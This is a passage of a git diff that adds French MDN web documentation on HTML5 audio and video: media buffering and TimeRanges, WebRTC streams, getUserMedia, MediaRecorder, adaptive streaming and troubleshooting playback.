+<p>Ajoute le flux de <code>getUserMedia</code> au PeerConnection.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.addStream(stream);</pre>
+
+<h4 id="onaddstream"><strong><code>onaddstream</code></strong></h4>
+
+<pre class="brush: js notranslate">&lt;video id="otherPeer" autoplay&gt;&lt;/video&gt;
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};</pre>
+
+<p>Exécuté lorsque la connexion a été mise en place et que l'autre pair a ajouté le flux de données pour la connexion avec <code>addStream</code>. Vous avez besoin d'un autre tag <code>&lt;video&gt;</code> pour afficher les médias de l'autre pair.</p>
+
+<p>Le premier argument est un objet d'événement avec les flux de média de l'autre pair.</p>
+
+<h2 id="Afficher_la_Source">Afficher la Source</h2>
+
+<p>Vous pouvez voir la source développée à partir de tous les extraits de code de cet article à <a href="http://github.com/louisstow/WebRTC">mon repo WebRTC</a>.</p>
+
+<ul>
+ <li>
+  <p><strong>Exemple de DataChannels :</strong> <a href="https://github.com/louisstow/WebRTC/blob/master/datachannels.html">code</a>, <a href="http://louisstow.github.io/WebRTC/datachannels.html">demo</a></p>
+ </li>
+ <li>
+  <p><strong>Exemple de média :</strong> <a href="https://github.com/louisstow/WebRTC/blob/master/media.html">code</a>, <a href="http://louisstow.github.io/WebRTC/media.html">demo</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
new file mode 100644
index 0000000000..89be1e7ca4
--- /dev/null
+++ b/files/fr/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
@@ -0,0 +1,218 @@
+---
+title: 'Mémoire tampon, position, et plages de temps'
+slug: Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges
+tags:
+  - Apps
+  - Buffer
+  - HTML5
+  - TimeRanges
+  - Video
+  - buffering
+  - seeking
+translation_of: Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges
+---
+<div class="summary">
+<p><span class="seoSummary">Il est parfois utile de savoir combien d'{{htmlelement("audio") }} ou {{htmlelement("video") }} a été téléchargé ou peut être joué sans délai — par exemple pour afficher la barre de progression du tampon dans un lecteur audio ou vidéo. Cet article explique comment construire une barre de progrès de mise en mémoire tampon en utilisant <a href="/fr/docs/Web/API/TimeRanges">TimeRanges</a>, et d'autres fonctionnalités de l'API Media.</span></p>
+</div>
+
+<h2 id="Buffered">Buffered</h2>
+
+<p>L'attribut <code>buffered</code> indique quelles parties du média ont été téléchargées. Il retourne un objet {{ domxref("TimeRanges") }}, qui indique tous les morceaux téléchargés. C'est généralement contigu, mais si l'utilisateur saute à une autre position pendant que le média est en cours de chargement, il peut alors y avoir des trous.</p>
+
+<p>Cela fonctionne avec {{htmlelement("audio") }} et {{htmlelement("video") }}; pour l'instant, considérons un simple exemple audio:</p>
+
+<pre class="brush: html">&lt;audio id="my-audio" controls src="music.mp3"&gt;
+&lt;/audio&gt;</pre>
+
+<p>On accède à cet attribut ainsi:</p>
+
+<pre class="brush: js">var myAudio = document.getElementById('my-audio');
+
+var bufferedTimeRanges = myAudio.buffered;</pre>
+
+<h2 id="Objet_TimeRanges">Objet TimeRanges</h2>
+
+<p>TimeRanges est une série de plages de temps ne se chevauchant pas, avec un temps de début et de fin. (<a href="/fr/docs/Web/API/TimeRanges">en savoir plus sur TimeRanges</a>).</p>
+
+<p>Un objet {{ domxref("TimeRanges") }} contient les propriétés/méthodes suivantes:</p>
+
+<ul>
+ <li><code>length</code>: Le nombre de plages de temps contenus dans l'objet.</li>
+ <li><code>start(index)</code>: Permet de récupérer le temps du début, en seconde, d'une plage de temps.</li>
+ <li><code>end(index)</code>: Permet de récupérer le temps de la fin, en seconde, d'une plage de temps.</li>
+</ul>
+
+<p>Sans interraction utilisateur il y a généralement une seule plage de temps, mais si vous sautez dans le média alors plus d'une plage de temps peut apparaître, comme illustré dans la visualisation ci-dessous. Elle représente deux plages de temps en mémoire tampon — une qui s'étend de 0 à 5 secondes et la seconde qui s'étend de 15 à 19 secondes.</p>
+
+<pre>------------------------------------------------------
+|=============|                    |===========|     |
+------------------------------------------------------
+0             5                    15          19    21</pre>
+
+<p>Pour cette instance audio, l'objet {{ domxref("TimeRanges") }} associé aurait les propriétés suivantes:</p>
+
+<pre class="brush: js">myAudio.buffered.length;   // returns 2
+myAudio.buffered.start(0); // returns 0
+myAudio.buffered.end(0);   // returns 5
+myAudio.buffered.start(1); // returns 15
+myAudio.buffered.end(1);   // returns 19</pre>
+
+<p>Pour essayer et visualiser les plages de temps en mémoire tampon, on peut écrire un peu d'HTML:</p>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;audio id="my-audio" controls&gt;
+    &lt;source src="music.mp3" type="audio/mpeg"&gt;
+  &lt;/audio&gt;
+&lt;/p&gt;
+&lt;p&gt;
+  &lt;canvas id="my-canvas" width="300" height="20"&gt;
+  &lt;/canvas&gt;
+&lt;/p&gt;</pre>
+
+<p>Et un peu de JavaScript:</p>
+
+<pre class="brush: js">  window.onload = function(){
+
+    var myAudio = document.getElementById('my-audio');
+    var myCanvas = document.getElementById('my-canvas');
+    var context = myCanvas.getContext('2d');
+
+    context.fillStyle = 'lightgray';
+    context.fillRect(0, 0, myCanvas.width, myCanvas.height);
+    context.fillStyle = 'red';
+    context.strokeStyle = 'white';
+
+    var inc = myCanvas.width / myAudio.duration;
+
+    // afficher TimeRanges
+
+    myAudio.addEventListener('seeked', function() {
+      for (i = 0; i &lt; myAudio.buffered.length; i++) {
+
+        var startX = myAudio.buffered.start(i) * inc;
+        var endX = myAudio.buffered.end(i) * inc;
+        var width = endX - startX;
+
+        context.fillRect(startX, 0, width, myCanvas.height);
+        context.rect(startX, 0, width, myCanvas.height);
+        context.stroke();
+      }
+    });
+  }</pre>
+
+<p>Cela fonctionne mieux avec les morceaux audio ou vidéo un peu plus longs, mais appuyez sur play et cliquez sur la barre de progression du lecteur et vous devriez obtenir quelque chose comme ci-dessous. Chaque rectangle rouge remplissant le rectangle blanc représente une plage de temps.</p>
+
+<p><img alt="A simple audio player with play button, seek bar and volume control, with a series of red rectangles beneath it representing time ranges." src="https://mdn.mozillademos.org/files/7347/bufferedtimeranges.png" style="display: block; height: 89px; margin: 0px auto; width: 318px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: Vous pouvez voir <a href="http://jsbin.com/memazaro/1/edit">cet exemple en direct sur JS Bin</a>.</p>
+</div>
+
+<h2 id="Seekable">Seekable</h2>
+
+<p>L'attribut <code>seekable</code> retourne un objet {{ domxref("TimeRanges") }} qui indique quelles parties du média peuvent être jouées sans chargement préalable. C'est indépendant du fait que la partie ait été téléchargée ou non: certaines parties peuvent être <em>seekable</em> mais non <em>buffered</em> si les requêtes de plage d'octets (byte-range requests) sont activées sur le serveur. Les requêtes de plage d'octets permettent aux parties du fichier média d'être délivrées du serveur et jouées presque immédiatement — et sont donc <em>seekable</em>.</p>
+
+<pre class="brush: js">var seekableTimeRanges = myAudio.seekable;</pre>
+
+<h2 id="Créer_notre_propre_barre_de_progrès">Créer notre propre barre de progrès</h2>
+
+<p>Si on voulait créer notre propre lecteur média, on pourrait vouloir afficher les parties du média prêtes à être jouées. Un bon moyen d'y arriver est d'utiliser l'attribut <code>seekable</code>.</p>
+
+<p>Bien qu'on ait vu que les parties ne sont pas nécessairement contigues, elles le sont généralement, et on peut utiliser une approximation de cette information pour donner à l'utilisateur une indication de la quantité de média qui peut être jouée directement. On peut trouver ce point en utilisant la ligne de code suivante:</p>
+
+<pre class="brush: js">var seekableEnd = myAudio.seekable.end(myAudio.seekable.length - 1);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>myAudio.seekable.end(myAudio.seekable.length - 1)</code> nous indique en fait le temps de fin de la dernière plage de temps disponible (et non toutes). En pratique, c'est suffisant, car le navigateur peut permettre ou non de requêter des plages d'octets. S'il ne le permet pas — <code>audio.seekable</code> sera l'équivalent de <code>audio.buffered</code> — on a une indication valide de la fin du média chargée. Sinon, alors cette valeur vaudra la durée du média presque instantannément.</p>
+</div>
+
+<p>Il est peut-être préférable de donner une indication de la quantité de média effectivement téléchargée — c'est ce que les lecteurs natifs du navigateur semblent indiquer.</p>
+
+<p>Alors, construisons cela. Le HTML de notre lecteur ressemble à ça:</p>
+
+<pre class="brush: css">&lt;audio id="my-audio" preload controls&gt;
+  &lt;source src="music.mp3" type="audio/mpeg"&gt;
+&lt;/audio&gt;
+&lt;div class="buffered"&gt;
+  &lt;span id="buffered-amount"&gt;&lt;/span&gt;
+&lt;/div&gt;
+&lt;div class="progress"&gt;
+  &lt;span id="progress-amount"&gt;&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Nous utiliserons le CSS suivant pour styliser l'affichage de la mémoire tampon:</p>
+
+<pre class="brush: css">.buffered {
+  height: 20px;
+  position: relative;
+  background: #555;
+  width: 300px;
+}
+
+#buffered-amount {
+  display: block;
+  height: 100%;
+  background-color: #777;
+  width: 0;
+}
+
+.progress {
+  margin-top: -20px;
+  height: 20px;
+  position: relative;
+  width: 300px;
+}
+
+#progress-amount {
+  display: block;
+  height: 100%;
+  background-color: #595;
+  width: 0;
+}</pre>
+
+<p>Et le JavaScript suivant se charge notre fonctionnalité:</p>
+
+<pre class="brush: js">window.onload = function(){
+
+  var myAudio = document.getElementById('my-audio');
+
+  myAudio.addEventListener('progress', function() {
+    var duration =  myAudio.duration;
+    if (duration &gt; 0) {
+      for (var i = 0; i &lt; myAudio.buffered.length; i++) {
+            if (myAudio.buffered.start(myAudio.buffered.length - 1 - i) &lt; myAudio.currentTime) {
+                document.getElementById("buffered-amount").style.width = (myAudio.buffered.end(myAudio.buffered.length - 1 - i) / duration) * 100 + "%";
+                break;
+            }
+        }
+    }
+  });
+
+  myAudio.addEventListener('timeupdate', function() {
+    var duration =  myAudio.duration;
+    if (duration &gt; 0) {
+      document.getElementById('progress-amount').style.width = ((myAudio.currentTime / duration)*100) + "%";
+    }
+  });
+}</pre>
+
+<p>L'événement <code>progress</code> est déclenché au fur et à mesure que les données sont téléchargées, cela nous permet de réagir pour afficher la progression du téléchargement ou de la mise en mémoire tampon.</p>
+
+<p>L'événement <code>timeupdate</code> est declénché 4 fois par seconde au fur et à mesure que le média est joué et c'est là qu'on incrémente notre barre de progrès.</p>
+
+<p>Cela devrait vous donner des résultats similaires à ce qui suit, où la barre gris clair représente la progression de la mise en mémoire tampon et la barre verte montre la progression de la lecture:</p>
+
+<p><img alt="A simple audio player with play button, seek bar and volume control, with a bar below it. The bar has a red portion to show played video, and a dark gray bar to show how much has been buffered." src="https://mdn.mozillademos.org/files/7349/bufferedprogress.png" style="display: block; height: 67px; margin: 0px auto; width: 311px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: Voir pouvez <a href="http://jsbin.com/badimipi/1/edit">voir l'exemple en direct sur JS Bin</a>.</p>
+</div>
+
+<h2 id="Un_petit_mot_sur_Played">Un petit mot sur Played</h2>
+
+<p>Il vaut la peine de mentionner la propriété <code>played</code> — elle nous indique quelles plages de temps ont été jouées dans le média. Par exemple:</p>
+
+<pre class="brush: js">var played = audio.played; // returns a TimeRanges object</pre>
+
+<p>Ce peut être utile pour récupérer les parties du média qui sont les plus écoutées ou regardées.</p>
diff --git a/files/fr/web/guide/audio_and_video_delivery/index.html b/files/fr/web/guide/audio_and_video_delivery/index.html
new file mode 100644
index 0000000000..277cd9546b
--- /dev/null
+++ b/files/fr/web/guide/audio_and_video_delivery/index.html
@@ -0,0 +1,448 @@
+---
+title: Intégration Audio et Vidéo
+slug: Web/Guide/Audio_and_video_delivery
+tags:
+  - Audio
+  - HTML5
+  - Media
+  - Video
+translation_of: Web/Guide/Audio_and_video_delivery
+---
+<div class="summary">
+<p>On peut délivrer de l'audio et vidéo sur le web de plusieurs manières, du fichier média statique au live stream (flux en direct) adaptatif. Cet article se veut être le point de départ pour explorer les différents mécanismes de diffusion de média sur le web et la compatiblité avec les navigateurs populaires.</p>
+</div>
+
+<h2 id="Les_éléments_Audio_et_Vidéo">Les éléments Audio et Vidéo</h2>
+
+<p>Que l'on traite des fichiers audio pré-enregistrés ou des live streams, le mécanisme pour les rendre disponibles à travers un navigateur reste à peu près le même — via les éléments {{ htmlelement("audio")}} et {{ htmlelement("video")}}. Actuellement, pour supporter tous les navigateurs, il est nécessaire de définir deux formats — bien qu'avec l'adoption des formats MP3 et MP4 dans Firefox et Opera, cela change rapidement. Vous pouvez trouver les informations de compatibilité des navigateurs aux endroits suivants:</p>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Audio_Codec_Support">Table de compatibilité des Codecs Audio</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility">Table de compatibilité des Codecs Audio/Video</a></li>
+</ul>
+
+<p>Pour délivrer du contenu audio et vidéo, le procédé général est comme suit:</p>
+
+<ol>
+ <li>Vérifier quels formats sont pris en charge par le navigateur via la détection de fonctionnalité</li>
+ <li>Si le navigateur ne lit pas nativement les formats fournis, utiliser un contenu de secours (comme une version Flash.)</li>
+ <li>Définir comment vous voulez jouer/instancier le média (par exemple un élément {{ htmlelement("video") }}, ou peut-être <code>document.createElement('video')</code>)</li>
+ <li>Ajouter le fichier média au lecteur.</li>
+</ol>
+
+<h3 id="Audio_HTML">Audio HTML</h3>
+
+<pre class="brush: html">&lt;audio controls preload="auto"&gt;
+  &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+
+  &lt;!-- fallback pour les navigateurs qui ne supportent pas mp3 --&gt;
+  &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+
+  &lt;!-- fallback pour les navigateurs qui ne supportent pas la balise audio --&gt;
+  &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+&lt;/audio&gt;</pre>
+
+<p>Le code ci-dessus va créer un lecteur audio qui tente de précharger autant d'audio que possible pour une lecteur fluide.</p>
+
+<div class="note">
+<p><strong>Note</strong>: L'attribut <code>preload</code> peut être ignoré par certains navigateurs mobiles.</p>
+</div>
+
+<p>Pour plus d'informations voir <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#HTML5_audio_in_detail">Les bases de l'Audio multi-navigateur (Audio HTML5 en détail)</a></p>
+
+<h3 id="Vidéo_HTML">Vidéo HTML</h3>
+
+<pre class="brush: html">&lt;video controls width="640" height="480" poster="initialimage.png" autoplay muted&gt;
+  &lt;source src="videofile.mp4" type="video/mp4"&gt;
+
+  &lt;!-- fallback pour les navigateurs qui ne supportent pas mp4 --&gt;
+  &lt;source src="videofile.webm" type="video/webm"&gt;
+
+  &lt;!-- spécifie les fichiers de sous-titres --&gt;
+  &lt;track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="English"&gt;
+  &lt;track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="Norwegian"&gt;
+
+  &lt;!-- fallback pour les navigateurs qui ne supportent pas la balise video --&gt;
+  &lt;a href="videofile.mp4"&gt;download video&lt;/a&gt;
+&lt;/video&gt;</pre>
+
+<p>Le code ci-dessus crée un lecteur vidéo de dimensions 640x480 pixels, affichant une image poster jusqu'à ce que la vidéo soit lue. On demande à la vidéo de passer en <code>autoplay</code> (jouer automatiquement) mais d'être <code>muted</code> (en sourdine) par défaut.</p>
+
+<div class="note">
+<p><strong>Note</strong>: L'attribut <code>autoplay</code> peut être ignoré par certains navigateurs mobiles.</p>
+</div>
+
+<p>Pour plus d'informations voir {{ htmlelement("video", "l'élément vidéo") }} et <a href="/fr/Apps/Build/Manipulating_media/cross_browser_video_player">Créer un lecteur vidéo multi-navigateur</a>.</p>
+
+<h3 id="Contenu_de_secours_Audio_et_Vidéo">Contenu de secours Audio et Vidéo</h3>
+
+<p>On peut créer un contenu de secours en utilisant Flash. <a href="https://github.com/mediaelement/mediaelement/tree/master/build">Utiliser mediaelement.js</a> par exemple.</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+  &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+  &lt;!-- fallback pour les navigateurs qui ne supportent pas le tag audio --&gt;
+  &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+  &lt;object width="320" height="30" type="application/x-shockwave-flash" data="mediaelement-flash-audio.swf"&gt;
+    &lt;param name="movie" value="mediaelement-flash-audio.swf" /&gt;
+    &lt;param name="flashvars" value="controls=true&amp;file=audiofile.mp3" /&gt;
+  &lt;/object&gt;
+&lt;/audio&gt;</pre>
+
+<p>Le procédé est très similaire avec {{ htmlelement("video") }} — il faut juste changer le SWF utilisé.<br>
+ <br>
+ <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Fallbacks">Plus d'option de Fallbacks</a>.</p>
+
+<h3 id="Audio_JavaScript">Audio JavaScript</h3>
+
+<pre class="brush: js">var myAudio = document.createElement('audio');
+
+if (myAudio.canPlayType('audio/mpeg')) {
+  myAudio.setAttribute('src','audiofile.mp3');
+} else if (myAudio.canPlayType('audio/ogg')) {
+  myAudio.setAttribute('src','audiofile.ogg');
+}
+
+myAudio.currentTime = 5;
+myAudio.play();</pre>
+
+<p>On définit la source de l'audio en fonction du type de fichier audio pris en charge par le navigateur, puis on place la tête de lecture à 5 secondes et essayons de lire le fichier.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>Play()</code> sera ignoré par certains navigateurs mobiles à moins que l'événement ne soit initié par une action utilisateur.</p>
+</div>
+
+<p>Il est également possible de donner un fichier WAV encodé en base64 à l'élément {{ htmlelement("audio") }}, permettant ainsi de générer de l'audio à la volée:</p>
+
+<pre class="brush: html">&lt;audio id="player" src="data:audio/x-wav;base64,UklGRvC..."&gt;&lt;/audio&gt;</pre>
+
+<p><a href="https://github.com/kripken/speak.js/">Speak.js</a> emploie cette technique. <a href="http://speak-demo.herokuapp.com">Essayez la démo</a>.</p>
+
+<h3 id="Vidéo_JavaScript">Vidéo JavaScript</h3>
+
+<pre class="brush: js">var myVideo = document.createElement('video');
+
+if (myVideo.canPlayType('video/mp4')) {
+  myVideo.setAttribute('src','videofile.mp4');
+} else if (myVideo.canPlayType('video/webm')) {
+  myVideo.setAttribute('src','videofile.webm');
+}
+
+myVideo.width = 480;
+myVideo.height = 320;</pre>
+
+<p>On définit la source de la vidéo en fonction du type de fichier vidéo pris en charge par le navigateur, puis on définit la largeur et la hauteur de la vidéo.</p>
+
+<h2 id="API_Web_Audio">API Web Audio</h2>
+
+<pre class="brush: js">  var context;
+  var request;
+  var source;
+
+  try {
+    context = new (window.AudioContext || window.webkitAudioContext)();
+    request = new XMLHttpRequest();
+    request.open("GET","http://jplayer.org/audio/mp3/RioMez-01-Sleep_together.mp3",true);
+    request.responseType = "arraybuffer";
+
+    request.onload = function() {
+      context.decodeAudioData(request.response, function(buffer) {
+        source = context.createBufferSource();
+        source.buffer = buffer;
+        source.connect(context.destination);
+        // auto play
+        source.start(0); // start was previously noteOn
+      });
+    };
+
+    request.send();
+
+  } catch(e) {
+    alert('web audio api not supported');
+  }</pre>
+
+<p>Dans cet exemple, on récupère un fichier MP3 via XHR, on le charge et on le lit (<a href="http://jsbin.com/facutone/1/edit?js">Essayez par vous-même</a>). Pour en savoir plus sur l'API Web Audio voir <a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a>.</p>
+
+<h2 id="getUserMedia_Stream_API">getUserMedia / Stream API</h2>
+
+<p>Il est également possible de récupérer un live stream de la webcam et/ou du microphone de l'utilisateur avec <code>getUserMedia</code> et l'API Stream. Cela fait partie d'une technologie plus large connue sous le nom de WebRTC (Web Real-Time Communications) et est compatible avec les dernières versions de Chrome, Firefox et Opera.</p>
+
+<p>Pour récupérer un flux de la webcam, commencez par créer un élément {{htmlelement("video")}}:</p>
+
+<pre class="brush: html">&lt;video id="webcam" width="480" height="360"&gt;&lt;/video&gt;</pre>
+
+<p>Ensuite, si cette opération est prise en charge, connectez la webcam à l'élément video:</p>
+
+<pre class="brush: js">navigator.getUserMedia ||
+  (navigator.getUserMedia = navigator.mozGetUserMedia ||
+  navigator.webkitGetUserMedia || navigator.msGetUserMedia);
+
+window.URL = window.URL || window.webkitURL || window.mozURL || window.msURL;
+
+if (navigator.getUserMedia) {
+    navigator.getUserMedia({
+        video: true,
+        audio: false
+    }, onSuccess, onError);
+} else {
+    alert('getUserMedia is not supported in this browser.');
+}
+
+function onSuccess(stream) {
+    var video = document.getElementById('webcam');
+    video.autoplay = true;
+    video.src = window.URL.createObjectURL(stream);
+}
+
+function onError() {
+    alert('There has been a problem retreiving the streams - are you running on file:/// or did you disallow access?');
+}</pre>
+
+<p>Pour en savoir plus, lisez la page <a href="/fr/docs/NavigatorUserMedia.getUserMedia">Navigator.getUserMedia</a>.</p>
+
+<h2 id="Mediastream_Recording">Mediastream Recording</h2>
+
+<p>De nouveaux standards sont en cours de déploiement pour permettre au navigateur de récupérer le flux du micro ou de la webcam — en utilisant <code>getUserMedia</code> — et l'enregistrer directement avec la nouvelle API MediaRecorder. Pour ce faire, on prend le stream retourné par <code>getUserMedia</code>, on le donne en paramètre à un objet <code>MediaRecorder</code>, puis on utilise le résultat obtenu comme source audio ou video.<br>
+ <br>
+ Le principe de base est décrit ci-dessus:</p>
+
+<pre class="brush: js">var onSuccess = function(stream) {
+
+  var mediaRecorder = new MediaRecorder(stream);
+
+  mediaRecorder.ondataavailable = function(e) {
+    var audio = document.createElement('audio');
+    audio.src = window.URL.createObjectURL(e.data);
+  }
+}
+
+navigator.getUserMedia({audio:true}, onSuccess);</pre>
+
+<p>Voir <a href="/fr/docs/Web/API/MediaRecorder_API">MediaRecorder API</a> pour plus de détails.</p>
+
+<div class="note">
+<p><strong>Note</strong>: MediaRecorder est actuellement uniquement supporté par Firefox et uniquement pour l'audio, mais il existe des solutions pour contourner ce problème, comme la bibliothèque <a href="https://github.com/muaz-khan/WebRTC-Experiment/tree/master/RecordRTC">RecordRTC</a>.</p>
+</div>
+
+<h2 id="Extensions_de_Source_Media">Extensions de Source Media</h2>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions</a> (MSE) est un brouillon de travail de W3C qui prévoit d'étendre {{domxref("HTMLMediaElement")}} pour permettre à JavaScript de générer des flux média pour la lecture. Permettre à JavaScript de générer des streams facilite toute une variété de cas d'utilisations comme le straming adaptatif et le décalage temporel des live streams.</p>
+
+<h3 id="Extensions_Media_Encrypté_(EME)">Extensions Media Encrypté (EME)</h3>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html">Encrypted Media Extensions</a> est une proposition de W3C d'étendre {{domxref("HTMLMediaElement")}} en fournissant des APIs pour contrôler la lecture de contenu protégé.<br>
+ <br>
+ L'API supporte divers cas d'utiilisation, allant de la simple décryption par clé aux vidéos protégées par DRM (pourvu que le navigateur implémente ce système). L'échange de licence/clé est contrôlé par l'application, facilitant ainsi le développement d'applications de lecture robustes et qui supportent tout une gamme de technologies de décryptage et de protection de contenu.<br>
+ <br>
+ Un des principal usage d'EME est de permettre au navigateur d'implémenter le gestion des DRM (<a href="https://fr.wikipedia.org/wiki/Gestion_des_droits_num%C3%A9riques">Digital Rights Management</a>), rendant inutiles les modules extérieurs de type Flash ou Silverlight.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Un DRM est un système permettant de restreindre l'accès à une ressource (particulièrement les vidéos), ce qui aide à en empêcher la copie.</p>
+</div>
+
+<h3 id="Streaming_adaptatif">Streaming adaptatif</h3>
+
+<p>De nouveaux formats et protocoles ont été (et sont encore) deployés pour faciliter le streaming adaptatif. Un <em>streaming adaptatif</em> est un flux en direct qui s'adapte à la bande passante disponible de l'utilisateur, typiquement, la qualité du stream peut changer en temps réel pour utiliser plus ou moins de bande passante. Le streaming adaptatif est souvent utilisé en conjonction avec le live streaming, où une diffusion fluide de l'audio et vidéo est primordiale.</p>
+
+<p>Les principaux encodages utilisés pour le streaming adaptatif sont <a href="/fr/Apps/Build/Audio_and_video_delivery/Live_streaming_web_audio_and_video#HLS">HLS</a> et <a href="/fr/Apps/Build/Audio_and_video_delivery/Live_streaming_web_audio_and_video#MPEG-DASH">MPEG-DASH</a>. MSE a été conçu avec DASH en tête, il définit les flux d'octets selon <a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/isobmff-byte-stream-format.html">ISOBMFF</a> et <a href="http://en.wikipedia.org/wiki/M2ts">M2TS</a> (deux formats supportés par DASH, et le dernier par HLS aussi). Si vous êtes interessé par les différents standards, de manière générale, que vous cherchiez une certaine flexibilité ou souhaitiez supporter la plupart des navigateurs modernes, DASH est probablement la meilleure solution.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Actuellement, Safari ne prend pas en charge DASH, cependant dash.js marche sur les nouvelles versions de Safari prévues pour être publiées avec OSX Yosemite.</p>
+</div>
+
+<p>DASH fournit également un certain nombre de profils, y compris des profils <em>à la demande</em> simples, sans pré-traitement ni splitting des fichiers multimédia. Il existe un certain nombre de services en ligne qui vous permettront de convertir vos média en HLS ou DASH.<br>
+ <br>
+ Pour plus d'informations, voir <a href="/fr/Apps/Build/Audio_and_video_delivery/Live_streaming_web_audio_and_video">Live streaming web Audio et Vidéo</a>.</p>
+
+<h2 id="Débugger_les_problèmes_Audio_Vidéo">Débugger les problèmes Audio / Vidéo</h2>
+
+<p>Vous avez des problèmes de lecture audio ou vidéo? Essayez la checklist suivante.</p>
+
+<h3 id="Est-ce_que_le_navigateur_prend_en_charge_les_formats_fournis">Est-ce que le navigateur prend en charge les formats fournis?</h3>
+
+<p>Utilisez les fichiers suivants pour vérifier le support de votre format:</p>
+
+<ul>
+ <li>Audio MP3 (<code>type="audio/mpeg"</code>):<a href="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"> http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3</a> (<a href="http://jsbin.com/gekatoge/1/edit">audio MP3 en direct</a>.)</li>
+ <li>Audio MP4 (<code>type="audio/mp4"</code>):<a href="http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a"> http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a</a> (<a href="http://jsbin.com/gekatoge/2/edit">audio MP4 en direct</a>.)</li>
+ <li>Audio Ogg (<code>type="audio/ogg"</code>):<a href="http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg"> http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg</a> (<a href="http://jsbin.com/gekatoge/4/edit">audio OGG en direct</a>.)</li>
+ <li>Video MP4 (<code>type="video/mp4"</code>):<a href="http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v"> http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v</a> (<a href="http://jsbin.com/gekatoge/5/edit">vidéo MP4 en direct</a>.)</li>
+ <li>Video WebM (<code>type="video/webm"</code>):<a href="http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm"> http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm</a> (<a href="http://jsbin.com/gekatoge/6/edit">vidéo WebM en direct</a>.)</li>
+ <li>Video Ogg (<code>type="video/ogg"</code>):<a href="http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv"> http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv</a> (<a href="http://jsbin.com/gekatoge/7/edit">vidéo OGG en direct</a>.)</li>
+</ul>
+
+<p>Si un de ces fichier n'est pas lu, c'est que le navigateur que vous testez ne prend pas en charge le format correspondant. Considérez utiliser un format différent ou un contenu de secours (Flash).<br>
+ <br>
+ Si ces fichiers fonctionnent mais que votre fichier ne fonctionne pas, il y a deux problèmes possibles:</p>
+
+<h3 id="Le_serveur_ne_fournit_pas_le_type_MIME_correct_du_fichier">Le serveur ne fournit pas le type MIME correct du fichier</h3>
+
+<p>Bien que les serveurs les prennent généralement en charge, vous allez peut-être avoir besoin d'ajouter ce qui suit à votre fichier <code>.htaccess</code>:</p>
+
+<pre># AddType TYPE/SUBTYPE EXTENSION
+
+AddType audio/mpeg mp3
+AddType audio/mp4 m4a
+AddType audio/ogg ogg
+AddType audio/ogg oga
+
+AddType video/mp4 mp4
+AddType video/mp4 m4v
+AddType video/ogg ogv
+AddType video/webm webm
+AddType video/webm webmv</pre>
+
+<h3 id="Votre_fichier_n'est_pas_encodé_correctement">Votre fichier n'est pas encodé correctement</h3>
+
+<p>Votre fichier n'a peut-être pas été encodé correctement — essayez de l'encoder en utilisant un des outils souivants, qui se sont avérés être généralement fiables:</p>
+
+<ul>
+ <li><a href="http://audacity.sourceforge.net/">Audacity</a> - Éditeur et enregistreur audio gratuit</li>
+ <li><a href="http://www.getmiro.com/">Miro</a> - Lecteur audio et vidéo open-source et gratuit</li>
+ <li><a href="http://handbrake.fr/">Handbrake</a> - Transcodeur vidéo open-source</li>
+ <li><a href="http://firefogg.org/">Firefogg</a> - Encodage audio et vidéo pour Firefox</li>
+ <li><a href="https://www.ffmpeg.org/">FFmpeg2</a> - Encodeur en ligne de commande complet</li>
+ <li><a href="https://libav.org/">Libav</a> - Encodeur en ligne de commande complet</li>
+ <li><a href="http://m.vid.ly/">Vid.ly</a> - Video player,transcoding and delivery</li>
+ <li><a href="https://archive.org/">Internet Archive</a> - Transcodage et stockage gratuit</li>
+</ul>
+
+<h2 id="Customiser_votre_Lecteur_Media">Customiser votre Lecteur Media</h2>
+
